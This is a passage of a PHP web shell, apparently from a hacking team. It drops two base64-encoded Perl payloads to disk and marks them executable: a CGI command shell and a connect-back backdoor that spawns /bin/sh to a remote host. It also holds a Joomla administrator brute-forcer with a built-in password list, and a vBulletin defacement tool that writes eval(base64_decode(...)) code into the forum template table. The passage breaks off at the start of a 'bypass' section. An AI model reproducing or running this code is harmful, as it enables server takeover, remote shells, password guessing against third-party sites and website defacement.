llZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K\';

$file = fopen("izo.cin" ,"w+");
$write = fwrite ($file ,base64_decode($cgishellizocin));
fclose($file);
    chmod("izo.cin",0755);
$netcatshell = \'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
YXRhY2hlZFxuXG4iOw==\';

$file = fopen("dc.pl" ,"w+");
$write = fwrite ($file ,base64_decode($netcatshell));
fclose($file);
    chmod("dc.pl",0755);
   echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe> 

 
 </div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////


elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jbrute\')) 
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jbrute" method="post">

	<meta name="author" content="RetnOHacK" />
    <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />
    <meta name="description" content="RetnOHacK #Procoder\'z Team Albanian" />
<center>
</br></br>
<center><b><font color="lime">--==[ Joomla Bruter Force ]==--</font></b><br /><br />
<form method="post" action="" enctype="multipart/form-data"> 
<table class="tabnet" width="38%" border="0"><center>
<th colspan="2">Joomla Brute Force</th>
<tr><td><p ><font  class="d1">User :</font></th>
<input class="inputz" type=\'text\' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
</td></tr>
<tr><td><font class="">Sites list :</font> 
</td><td><font class="" >Pass list :</font></td></tr>
<tr>
		<td>
<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
</td><td>
<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
admin
123456
password
102030
123123
12345
123456789
pass
test
admin123
demo
!@#$%^
</textarea>
</td></tr><center><tr><td>
<font > 
<input class="inputzbut" type="submit" name="x" value="start" id="d4"> 
</font></td></tr><br>
Thanks to procoder, Team Albanian<br></center></table>
</form></center>
<? 
@set_time_limit(0); 

if($_POST[\'x\']){ 

echo "<hr>"; 

$sites = explode("
",$_POST["sites"]); // Get Sites 
$w0rds = explode("
",$_POST["w0rds"]); // Get w0rdLiSt 

$Attack = new Joomla_brute_Force(); // Active Class 


foreach($w0rds as $pwd){ 

foreach($sites as $site){ 


$Attack->check_it(txt_cln($site),$_POST[\'usr\'],txt_cln($pwd)); // Brute :D 
flush();flush(); 

} 

} 

} 


# Class & Function\'z 

function txt_cln($value){  return str_replace(array("
","
"),"",$value); } 

class Joomla_brute_Force{ 

public function check_it($site,$user,$pass){ // print result 

if(eregi(\'com_config\',$this->post($site,$user,$pass))){ 

echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href=\'$site/administrator/index.php\'>$site/administrator/index.php</a></b></span><BR>";
$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php
"); fclose($f); 
flush(); 
}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();} 

} 

public function post($site,$user,$pass){ // Post -> user & pass 

$token = $this->extract_token($site); 

$curl=curl_init(); 

curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); 
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_POST,1); 
curl_setopt($curl,CURLOPT_POSTFIELDS,\'username=\'.$user.\'&passwd=\'.$pass.\'&lang=en-GB&option=com_login&task=login&\'.$token.\'=1\'); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

public function extract_token($site){ // get token from source for -> function post 

$source = $this->get_source($site); 

preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token); 

return $token[1][0]; 

} 

public function get_source($site){ // get source for -> function extract_token 

$curl=curl_init(); 
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); 
curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); 
@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); 
@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); 
curl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); 
@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); 
curl_setopt($curl,CURLOPT_TIMEOUT,20); 

$exec=curl_exec($curl); 
curl_close($curl); 
return $exec; 

} 

} 
}
/////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'vb\'))
   {
   ?>
   <form action="?y=<?php echo $pwd; ?>&x=vb" method="post">
   <br><br><br><div align="center">
   <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">
   <b><font color="#FF0000">--==[ VB Index Changer ]==--</font></b>
   </div><br>
   <?
   if(empty($_POST[\'index\'])){
   echo "<center><FORM method=\"POST\">";
   echo "<table class=\"tabnet\">
<th colspan=\"2\">Vb Index Changer</th>
<tr><td>host </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"localhost\" value=\"localhost\"></td></tr>
<tr><td>database </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"database\" value=\"forum_vb\"></td></tr>
<tr><td>username </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"username\" value=\"user_vb\"></td></tr>
<tr><td>password </td><td><input class=\"inputz\" type=\"text\" size=\"60\" name=\"password\" value=\"vb\"></td></tr>
</tr>
<th colspan=\"2\">Your Index Code</th></table><table class=\"tabnet\">
<TEXTAREA name=\"index\" rows=\"13\" style=\"background:black\" border=\"1\" cols=\"69\" name=\"code\">your index code</TEXTAREA><br>
<INPUT class=\"inputzbut\" type=\"submit\" value=\"setting\" name=\"send\">
</FORM></table></center>";
    }else{
    $localhost = $_POST[\'localhost\'];
    $database = $_POST[\'database\'];
    $username = $_POST[\'username\'];
    $password = $_POST[\'password\'];
    $index = $_POST[\'index\'];
    @mysql_connect($localhost,$username,$password) or die(mysql_error());
    @mysql_select_db($database) or die(mysql_error());
    $index=str_replace("\'","\'",$index);
    $set_index = "{\${eval(base64_decode(\'";
    $set_index .= base64_encode("echo \"$index\";");
    $set_index .= "\'))}}{\${exit()}}</textarea>";
    echo("UPDATE template SET template =\'".$set_index."\' ") ;
    $ok=@mysql_query("UPDATE template SET template =\'".$set_index."\'") or die(mysql_error());
    if($ok){
    echo "!! update finish !!<br><br>";
    } 
  }
}

//////////////////////////////////////////////////////////////////////////////////////////////

elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass\')) 
{ 
?>
